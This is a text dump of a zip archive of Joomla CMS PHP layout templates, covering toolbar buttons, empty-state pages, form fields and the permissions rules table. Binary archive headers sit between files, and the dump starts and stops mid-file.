$sublayout,
[
'form' => $tmpl,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
)
); ?></template>
<?php endif; ?>
</div>
</div>
</div>
PKT��[傦��toolbar/deletemedia.phpnu�[���<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$title = JText::_('JTOOLBAR_DELETE');
JText::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
?>
<script type="text/javascript">
(function($){
// if any media is selected then only allow to submit otherwise show
message
deleteMedia = function(){
if (
$('#folderframe').contents().find('input:checked[name="rm[]"]').length
== 0){
alert(Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));
return false;
}
MediaManager.submit('folder.delete');
};
})(jQuery);
</script>
<button onclick="deleteMedia()" class="btn
btn-small">
<span class="icon-remove" title="<?php echo $title;
?>"></span> <?php echo $title; ?>
</button>
PKT��[�
i���toolbar/newfolder.phpnu�[���<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$title = JText::_('COM_MEDIA_CREATE_NEW_FOLDER');
?>
<button data-toggle="collapse"
data-target="#collapseFolder" class="btn btn-small">
<span class="icon-folder" title="<?php echo $title;
?>"></span> <?php echo $title; ?>
</button>
PKT��[��vtoolbar/uploadmedia.phpnu�[���<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$title = JText::_('JTOOLBAR_UPLOAD');
?>
<button data-toggle="collapse"
data-target="#collapseUpload" class="btn btn-small
btn-success">
<span class="icon-plus icon-white" title="<?php echo
$title; ?>"></span> <?php echo $title; ?>
</button>
PK\��[];^W��joomla/edit/admin_modules.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
$app = Factory::getApplication();
$form = $displayData->getForm();
$input = $app->getInput();
$fields = $displayData->get('fields') ?: [
['parent', 'parent_id'],
['published', 'state', 'enabled'],
['category', 'catid'],
'featured',
'sticky',
'access',
'language',
'tags',
'note',
'version_note',
];
$hiddenFields = $displayData->get('hidden_fields') ?: [];
if (!ModuleHelper::isAdminMultilang()) {
$hiddenFields[] = 'language';
$form->setFieldAttribute('language', 'default',
'*');
}
$html = [];
$html[] = '<fieldset class="form-vertical">';
foreach ($fields as $field) {
foreach ((array) $field as $f) {
if ($form->getField($f)) {
if (in_array($f, $hiddenFields)) {
$form->setFieldAttribute($f, 'type',
'hidden');
}
$html[] = $form->renderField($f);
break;
}
}
}
$html[] = '</fieldset>';
echo implode('', $html);
PK\��[D+s� � joomla/content/emptystate.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
$textPrefix = $displayData['textPrefix'] ?? '';
if (!$textPrefix) {
$textPrefix =
strtoupper(Factory::getApplication()->getInput()->get('option'));
}
$formURL = $displayData['formURL'] ?? '';
$createURL = $displayData['createURL'] ?? '';
$helpURL = $displayData['helpURL'] ?? '';
$title = $displayData['title'] ?? Text::_($textPrefix .
'_EMPTYSTATE_TITLE');
$content = $displayData['content'] ?? Text::_($textPrefix .
'_EMPTYSTATE_CONTENT');
$icon = $displayData['icon'] ?? 'icon-copy
article';
$append = $displayData['formAppend'] ?? '';
$btnadd = $displayData['btnadd'] ?? Text::_($textPrefix .
'_EMPTYSTATE_BUTTON_ADD');
?>
<form action="<?php echo Route::_($formURL); ?>"
method="post" name="adminForm"
id="adminForm">
<div class="px-4 py-5 my-5 text-center">
<span class="fa-8x mb-4 <?php echo $icon; ?>"
aria-hidden="true"></span>
<h1 class="display-5 fw-bold"><?php echo $title;
?></h1>
<div class="col-lg-6 mx-auto">
<p class="lead mb-4">
<?php echo $content; ?>
</p>
<div class="d-grid gap-2 d-sm-flex
justify-content-sm-center">
<?php if ($createURL &&
Factory::getApplication()->getInput()->get('tmpl') !==
'component') : ?>
<a href="<?php echo Route::_($createURL);
?>"
id="confirmButton" class="btn
btn-primary btn-lg px-4 me-sm-3 emptystate-btnadd"><?php echo
$btnadd; ?></a>
<?php endif; ?>
<?php if ($helpURL) : ?>
<a href="<?php echo $helpURL; ?>"
target="_blank"
class="btn btn-outline-secondary btn-lg
px-4"><?php echo Text::_('JGLOBAL_LEARN_MORE');
?></a>
<?php endif; ?>
</div>
</div>
</div>
<?php
// Allow appending any modals (Eg: Bulk Import on com_redirect).
echo $append;
?>
<input type="hidden" name="task"
value="">
<input type="hidden" name="boxchecked"
value="0">
<?php echo HTMLHelper::_('form.token'); ?>
</form>
PK\��[tj�c��$joomla/content/emptystate_module.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
$icon = $displayData['icon'] ?? 'icon-copy article';
$textPrefix = $displayData['textPrefix'] ?? '';
$textSuffix = $displayData['textSuffix'] ?? '';
$title = $displayData['title'] ?? '';
$componentLangString = $textPrefix . '_EMPTYSTATE_TITLE' .
$textSuffix;
$moduleLangString = $textPrefix . '_EMPTYSTATE_MODULE_TITLE' .
$textSuffix;
// Did we have a definitive title provided to the view? If not, let's
find one!
if (!$title) {
// Can we find a *_EMPTYSTATE_MODULE_TITLE translation, Else use the
components *_EMPTYSTATE_TITLE string
$title =
Factory::getApplication()->getLanguage()->hasKey($moduleLangString) ?
$moduleLangString : $componentLangString;
}
?>
<div class="mb-4">
<p class="fw-bold text-center text-muted">
<span class="<?php echo $icon; ?>"
aria-hidden="true"></span> <?php echo
Text::_($title); ?>
</p>
</div>
PK\��[gr/��joomla/toolbar/inlinehelp.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2022 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;
Factory::getApplication()->getDocument()
->getWebAssetManager()->useScript('inlinehelp');
echo LayoutHelper::render('joomla.toolbar.standard',
$displayData);
PK\��[���
�
joomla/toolbar/basic.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var int $id
* @var string $onclick
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
* @var string $task The task which should be executed
* @var bool $listCheck Boolean, whether selection from a list
is needed
* @var string $form CSS selector for a target form
* @var bool $formValidation Whether the form need to be validated
before run the task
* @var string $dropdownItems The dropdown HTML
* @var string $hasButtons
* @var string $caretClass
* @var string $toggleSplit
*/
Factory::getApplication()->getDocument()->getWebAssetManager()
->useScript('core')
->useScript('webcomponent.toolbar-button');
$tagName = $tagName ?? 'button';
$taskAttr = '';
$title = '';
$idAttr = !empty($id) ? ' id="' . $id .
'"' : '';
$listAttr = !empty($listCheck) ? ' list-selection' :
'';
$formAttr = !empty($form) ? ' form="' .
$this->escape($form) . '"' : '';
$validate = !empty($formValidation) ? ' form-validation' :
'';
$msgAttr = !empty($message) ? ' confirm-message="' .
$this->escape($message) . '"' : '';
if ($msgAttr) {
Text::script('WARNING');
Text::script('JYES');
Text::script('JNO');
}
if ($id === 'toolbar-help') {
$title = ' title="' .
$this->escape(Text::_('JGLOBAL_OPENS_IN_A_NEW_WINDOW')) .
'"';
}
if (!empty($task)) {
$taskAttr = ' task="' . $task . '"';
} elseif (!empty($onclick)) {
$htmlAttributes .= ' onclick="' . $onclick .
'"';
}
$direction = Factory::getLanguage()->isRtl() ?
'dropdown-menu-end' : '';
?>
<joomla-toolbar-button <?php echo $idAttr . $taskAttr . $listAttr .
$formAttr . $validate . $msgAttr; ?>>
<<?php echo $tagName; ?>
class="<?php echo $btnClass ?? ''; ?>"
<?php echo $htmlAttributes ?? ''; ?>
<?php echo $title; ?>
>
<span class="<?php echo trim($class ?? '');
?>" aria-hidden="true"></span>
<?php echo $text ?? ''; ?>
</<?php echo $tagName; ?>>
<?php // If there is no toggle split then ensure the drop down items are
rendered inside the custom element ?>
<?php if (!($toggleSplit ?? true) && isset($dropdownItems)
&& trim($dropdownItems) !== '') : ?>
<div class="dropdown-menu<?php echo ' ' .
$direction; ?>">
<?php echo $dropdownItems; ?>
</div>
<?php endif; ?>
</joomla-toolbar-button>
PK\��[\U� joomla/toolbar/dropdown.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $id
* @var string $onclick
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
* @var string $hasButtons
* @var string $button
* @var string $dropdownItems
* @var string $caretClass
* @var string $toggleSplit
*/
$direction = Factory::getLanguage()->isRtl() ?
'dropdown-menu-end' : '';
/**
* The dropdown class is also injected on the button from
\Joomla\CMS\Toolbar\ToolbarButton::prepareOptions() and therefore we need
the dropdown script whether we
* are in split toggle mode or not
*/
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('bootstrap.dropdown');
?>
<?php if ($hasButtons && trim($button) !== '') : ?>
<?php // If there is a toggle split then render the items. Else
render the parent button which has the items in the custom element. ?>
<?php if ($toggleSplit ?? true) : ?>
<div id="<?php echo $id; ?>"
class="btn-group dropdown-<?php echo $name ?? '';
?>" role="group">
<button type="button" class="<?php echo
$caretClass ?? ''; ?> dropdown-toggle-split"
data-bs-toggle="dropdown"
data-bs-target=".dropdown-menu"
data-bs-display="static" aria-haspopup="true"
aria-expanded="false">
<span class="visually-hidden"><?php echo
Text::_('JGLOBAL_TOGGLE_DROPDOWN'); ?></span>
<span class="icon-chevron-down"
aria-hidden="true"></span>
</button>
<?php echo $button; ?>
<?php if (trim($dropdownItems) !== '') : ?>
<div class="dropdown-menu <?php echo $direction;
?>">
<?php echo $dropdownItems; ?>
</div>
<?php endif; ?>
</div>
<?php else : ?>
<?php echo $button; ?>
<?php endif; ?>
<?php endif; ?>
PK\��[��`MM#joomla/html/batch/workflowstage.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<label id="batch-workflowstage-lbl"
for="batch-workflowstage-id">
<?php echo
Text::_('JLIB_HTML_BATCH_WORKFLOW_STAGE_LABEL'); ?>
</label>
<?php
$attr = [
'id' => 'batch-workflowstage-id',
'group.label' => 'text',
'group.items' => null,
'list.attr' => [
'class' => 'form-select'
]
];
$groups = HTMLHelper::_('workflowstage.existing',
['title' =>
Text::_('JLIB_HTML_BATCH_WORKFLOW_STAGE_NOCHANGE')]);
echo HTMLHelper::_('select.groupedlist', $groups,
'batch[workflowstage_id]', $attr);
PK\��[l��H��joomla/button/iconclass.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
$displayData['html'] = false;
echo LayoutHelper::render('joomla.icon.iconclass', $displayData);
PK\��[U����joomla/button/action-button.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $icon
* @var string $title
* @var string $value
* @var string $task
* @var array $options
*/
Factory::getDocument()->getWebAssetManager()->useScript('list-view');
$disabled = !empty($options['disabled']);
$taskPrefix = $options['task_prefix'];
$checkboxName = $options['checkbox_name'];
$id = $options['id'];
$tipTitle = $options['tip_title'];
?>
<button type="button"
class="js-grid-item-action tbody-icon data-state-<?php echo
$this->escape($value ?? ''); ?>"
aria-labelledby="<?php echo $id; ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
data-item-id="<?php echo $checkboxName . $this->escape($row
?? ''); ?>"
data-item-task="<?php echo $this->escape(isset($task) ?
$taskPrefix . $task : ''); ?>"
>
<span class="<?php echo $this->escape($icon ??
''); ?>" aria-hidden="true"></span>
</button>
<div id="<?php echo $id; ?>"
role="tooltip">
<?php echo HTMLHelper::_('tooltipText', $tipTitle ?:
$title, $title, 0, false); ?>
</div>
PK\��[}o�b
b
#joomla/button/transition-button.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $icon
* @var string $title
* @var string $value
* @var string $task
* @var array $options
*/
$disabled = empty($options['transitions']) ||
!empty($options['disabled']);
$id = $options['id'];
$tipTitle = $options['tip_title'];
$tipContent = $options['tip_content'];
$checkboxName = $options['checkbox_name'];
$task = $options['task'];
?>
<button type="button" class="tbody-icon
data-state-<?php echo $this->escape($value ?? '');
?>"
aria-labelledby="<?php echo $id; ?>"
<?php echo $disabled ? 'disabled' : '';
?>
<?php if (!$disabled) : ?>
onclick="Joomla.toggleAllNextElements(this,
'd-none')"
<?php endif; ?>
>
<span class="<?php echo $this->escape($icon ??
''); ?>" aria-hidden="true"></span>
</button>
<div id="<?php echo $id; ?>"
role="tooltip">
<?php echo HTMLHelper::_('tooltipText', $tipTitle ?:
$title, $tipContent, 0, false); ?>
</div>
<?php if (!$disabled) : ?>
<div class="d-none">
<span class="visually-hidden">
<label for="transition-select_<?php echo (int) $row
?? ''; ?>">
<?php echo
Text::_('JWORKFLOW_EXECUTE_TRANSITION'); ?>
</label>
</span>
<?php
$default = [
HTMLHelper::_('select.option', '',
$this->escape($options['title'])),
HTMLHelper::_('select.option', '-1',
'--------', ['disable' => true]),
HTMLHelper::_('select.option',
'<OPTGROUP>',
Text::_('COM_CONTENT_RUN_TRANSITION')),
];
$transitions = array_merge($default,
$options['transitions'],
[HTMLHelper::_('select.option', '</OPTGROUP>')]);
$attribs = [
'id' => 'transition-select_'
. (int) $row ?? '',
'list.attr' => [
'class' => 'form-select
form-select-sm w-auto',
'onchange' =>
"this.form.transition_id.value=this.value;Joomla.listItemTask('"
. $checkboxName . $this->escape($row ?? '') . "',
'" . $task . "')"]
];
echo HTMLHelper::_('select.genericlist',
$transitions, '', $attribs);
?>
</div>
<?php endif; ?>
PK\��[v\���joomla/icon/iconclass.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
// Convert icomoon to fa
$icon = $displayData['icon'];
// Get fixed width icon or not
$iconFixed = $displayData['fixed'] ?? null;
// Set default prefix to be fontawesome
$iconPrefix = $displayData['prefix'] ?? 'icon-';
// Get other classNames if set, like icon-white, text-danger
$iconSuffix = $displayData['suffix'] ?? null;
// Get other attributes besides classNames
$tabindex = $displayData['tabindex'] ?? null;
$title = $displayData['title'] ?? null;
// Default output in <span>. ClassNames if set to false
$html = $displayData['html'] ?? true;
// Replace double set icon-icon-
// @todo: Joomla should be cleaned so this replacement is not needed.
$icon = str_replace('icon-icon-', 'icon-',
$icon);
switch ($icon) {
case (strpos($icon, 'icon-') !== false):
$iconPrefix = $displayData['prefix'] ?? null;
break;
default:
break;
}
if ($iconFixed) {
$iconFixed = 'icon-fw';
}
// Just render icon as className
$icon = trim(implode(' ', [$iconPrefix . $icon, $iconFixed,
$iconSuffix]));
// Convert icon to html output when HTML !== false
if ($html !== false) {
$iconAttribs = [
'class' => $icon,
'aria-hidden' => "true"
];
if ($tabindex) {
$iconAttribs['tabindex'] = $tabindex;
}
if ($title) {
$iconAttribs['title'] = $title;
}
$icon = '<span ' . ArrayHelper::toString($iconAttribs) .
'></span>';
}
echo $icon;
PK]��[m�Cc��joomla/form/field/checkbox.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Field\CheckboxField;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string|null $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var CheckboxField $field The form field object.
* @var string|null $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var string $validationtext The validation text of invalid
value of the form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var boolean $checked Whether the checkbox should be
checked.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for
eg, data-*.
*/
// Initialize some field attributes.
$class = $class ? ' ' . $class : '';
$disabled = $disabled ? ' disabled' : '';
$required = $required ? ' required' : '';
$autofocus = $autofocus ? ' autofocus' : '';
$checked = $checked ? ' checked' : '';
// Initialize JavaScript field attributes.
$onclick = $onclick ? ' onclick="' . $onclick .
'"' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
?>
<div class="form-check form-check-inline">
<input
type="checkbox"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
class="form-check-input<?php echo $class; ?>"
value="<?php echo htmlspecialchars($value, ENT_QUOTES,
'UTF-8'); ?>"
<?php echo $checked . $disabled . $onclick . $onchange .
$required . $autofocus . $dataAttribute; ?>
>
</div>
PK]��[�QP^S8S8joomla/form/field/rules.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
extract($displayData);
// Get some system objects.
$document = Factory::getDocument();
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var array $options Options available for this field.
* @var array $groups Available user groups.
* @var array $actions Actions for the asset.
* @var integer $assetId Access parameters.
* @var string $component The component.
* @var string $section The section.
* @var boolean $isGlobalConfig Current view is global config?
* @var boolean $newItem The new item.
* @var object $assetRules Rules for asset.
* @var integer $parentAssetId To calculate permissions.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
// Add Javascript for permission change
HTMLHelper::_('form.csrf');
Factory::getDocument()->getWebAssetManager()
->useStyle('webcomponent.field-permissions')
->useScript('webcomponent.field-permissions')
->useStyle('webcomponent.joomla-tab')
->useScript('webcomponent.joomla-tab');
// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');
// Add strings for JavaScript error translations.
Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
Text::script('JLIB_JS_AJAX_ERROR_OTHER');
Text::script('JLIB_JS_AJAX_ERROR_PARSE');
Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT');
// Ajax request data.
$ajaxUri =
Route::_('index.php?option=com_config&task=application.store&format=json&'
. Session::getFormToken() . '=1');
?>
<?php // Description ?>
<details>
<summary class="rule-notes">
<?php echo Text::_('JLIB_RULES_SETTINGS_DESC'); ?>
</summary>
<div class="rule-notes">
<?php
if ($section === 'component' || !$section) {
echo Text::alt('JLIB_RULES_SETTING_NOTES', $component);
} else {
echo Text::alt('JLIB_RULES_SETTING_NOTES_ITEM',
$component . '_' . $section);
}
?>
</div>
</details>
<?php // Begin tabs ?>
<joomla-field-permissions class="row mb-2"
data-uri="<?php echo $ajaxUri; ?>" <?php echo
$dataAttribute; ?>>
<joomla-tab orientation="vertical"
id="permissions-sliders" recall breakpoint="728">
<?php // Initial Active Pane ?>
<?php foreach ($groups as $group) : ?>
<?php $active = (int) $group->value === 1 ? '
active' : ''; ?>
<joomla-tab-element class="tab-pane" <?php echo
$active; ?> name="<?php echo
htmlentities(LayoutHelper::render('joomla.html.treeprefix',
['level' => $group->level + 1]), ENT_COMPAT,
'utf-8') . $group->text; ?>"
id="permission-<?php echo $group->value; ?>">
<table class="table respTable">
<thead>
<tr>
<th class="actions w-30"
id="actions-th<?php echo $group->value; ?>">
<span
class="acl-action"><?php echo
Text::_('JLIB_RULES_ACTION'); ?></span>
</th>
<th class="settings w-40"
id="settings-th<?php echo $group->value; ?>">
<span
class="acl-action"><?php echo
Text::_('JLIB_RULES_SELECT_SETTING'); ?></span>
</th>
<th class="w-30"
id="aclaction-th<?php echo $group->value; ?>">
<span
class="acl-action"><?php echo
Text::_('JLIB_RULES_CALCULATED_SETTING'); ?></span>
</th>
</tr>
</thead>
<tbody>
<?php // Check if this group has super user
permissions ?>
<?php $isSuperUserGroup =
Access::checkGroup($group->value, 'core.admin'); ?>
<?php foreach ($actions as $action) : ?>
<tr>
<td class="oddCol"
data-label="<?php echo Text::_('JLIB_RULES_ACTION');
?>" headers="actions-th<?php echo $group->value;
?>">
<label for="<?php echo $id;
?>_<?php echo $action->name; ?>_<?php echo $group->value;
?>">
<?php echo
Text::_($action->title); ?>
</label>
<?php if
(!empty($action->description)) : ?>
<div role="tooltip"
id="tip-<?php echo $id; ?>">
<?php echo
htmlspecialchars(Text::_($action->description)); ?>
</div>
<?php endif; ?>
</td>
<td data-label="<?php echo
Text::_('JLIB_RULES_SELECT_SETTING'); ?>"
headers="settings-th<?php echo $group->value; ?>">
<div class="d-flex
align-items-center">
<select
data-onchange-task="permissions.apply"
class="form-select
novalidate"
name="<?php echo
$name; ?>[<?php echo $action->name; ?>][<?php echo
$group->value; ?>]"
id="<?php echo $id;
?>_<?php echo $action->name; ?>_<?php echo $group->value;
?>" >
<?php
/**
* Possible values:
* null = not set means
inherited
* false = denied
* true = allowed
*/
// Get the actual setting for
the action for this group. ?>
<?php $assetRule = $newItem
=== false ? $assetRules->allow($action->name, $group->value) :
null;?>
<?php // Build the dropdowns
for the permissions sliders
// The parent group has
"Not Set", all children can rightly "Inherit" from
that.?>
<option value=""
<?php echo ($assetRule === null ? '
selected="selected"' : ''); ?>>
<?php echo
Text::_(empty($group->parent_id) && $isGlobalConfig ?
'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED');
?></option>
<option value="1"
<?php echo ($assetRule === true ? '
selected="selected"' : ''); ?>>
<?php echo
Text::_('JLIB_RULES_ALLOWED'); ?></option>
<option value="0"
<?php echo ($assetRule === false ? '
selected="selected"' : ''); ?>>
<?php echo
Text::_('JLIB_RULES_DENIED'); ?></option>
</select> 
<span id="icon_<?php
echo $id; ?>_<?php echo $action->name; ?>_<?php echo
$group->value; ?>"></span>
</div>
</td>
<td data-label="<?php echo
Text::_('JLIB_RULES_CALCULATED_SETTING'); ?>"
headers="aclaction-th<?php echo $group->value; ?>">
<?php $result = []; ?>
<?php // Get the group, group parent
id, and group global config recursive calculated permission for the chosen
action. ?>
<?php $inheritedGroupRule =
Access::checkGroup((int) $group->value, $action->name, $assetId);
$inheritedGroupParentAssetRule =
!empty($parentAssetId) ? Access::checkGroup($group->value,
$action->name, $parentAssetId) : null;
$inheritedParentGroupRule =
!empty($group->parent_id) ? Access::checkGroup($group->parent_id,
$action->name, $assetId) : null;
// Current group is a Super User group,
so calculated setting is "Allowed (Super User)".
if ($isSuperUserGroup) {
$result['class'] =
'badge bg-success';
$result['text'] =
'<span class="icon-lock icon-white"
aria-hidden="true"></span>' .
Text::_('JLIB_RULES_ALLOWED_ADMIN');
} else {
// First get the real recursive
calculated setting and add (Inherited) to it.
// If recursive calculated setting
is "Denied" or null. Calculated permission is "Not Allowed
(Inherited)".
if ($inheritedGroupRule === null ||
$inheritedGroupRule === false) {
$result['class'] =
'badge bg-danger';
$result['text'] =
Text::_('JLIB_RULES_NOT_ALLOWED_INHERITED');
} else {
// If recursive calculated
setting is "Allowed". Calculated permission is "Allowed
(Inherited)".
$result['class'] =
'badge bg-success';
$result['text'] =
Text::_('JLIB_RULES_ALLOWED_INHERITED');
}
// Second part: Overwrite the
calculated permissions labels if there is an explicit permission in the
current group.
/**
* @todo: incorrect info
* If a component has a permission
that doesn't exists in global config (ex: frontend editing in
com_modules) by default
* we get "Not Allowed
(Inherited)" when we should get "Not Allowed (Default)".
*/
// If there is an explicit
permission "Not Allowed". Calculated permission is "Not
Allowed".
if ($assetRule === false) {
$result['class'] =
'badge bg-danger';
$result['text'] =
Text::_('JLIB_RULES_NOT_ALLOWED');
} elseif ($assetRule === true) {
// If there is an explicit
permission is "Allowed". Calculated permission is
"Allowed".
$result['class'] =
'badge bg-success';
$result['text'] =
Text::_('JLIB_RULES_ALLOWED');
}
// Third part: Overwrite the
calculated permissions labels for special cases.
// Global configuration with
"Not Set" permission. Calculated permission is "Not Allowed
(Default)".
if (empty($group->parent_id)
&& $isGlobalConfig === true && $assetRule === null) {
$result['class'] =
'badge bg-danger';
$result['text'] =
Text::_('JLIB_RULES_NOT_ALLOWED_DEFAULT');
} elseif
($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule ===
false) {
/**
* Component/Item with explicit
"Denied" permission at parent Asset (Category, Component or
Global config) configuration.
* Or some parent group has an
explicit "Denied".
* Calculated permission is
"Not Allowed (Locked)".
*/
$result['class'] =
'badge bg-danger';
$result['text'] =
'<span class="icon-lock icon-white"
aria-hidden="true"></span>' .
Text::_('JLIB_RULES_NOT_ALLOWED_LOCKED');
}
}
?>
<output><span
class="<?php echo $result['class'];
?>"><?php echo $result['text'];
?></span></output>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</joomla-tab-element>
<?php endforeach; ?>
</joomla-tab>
</joomla-field-permissions>
PK]��[�ma�!!'joomla/form/field/list-fancy-select.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
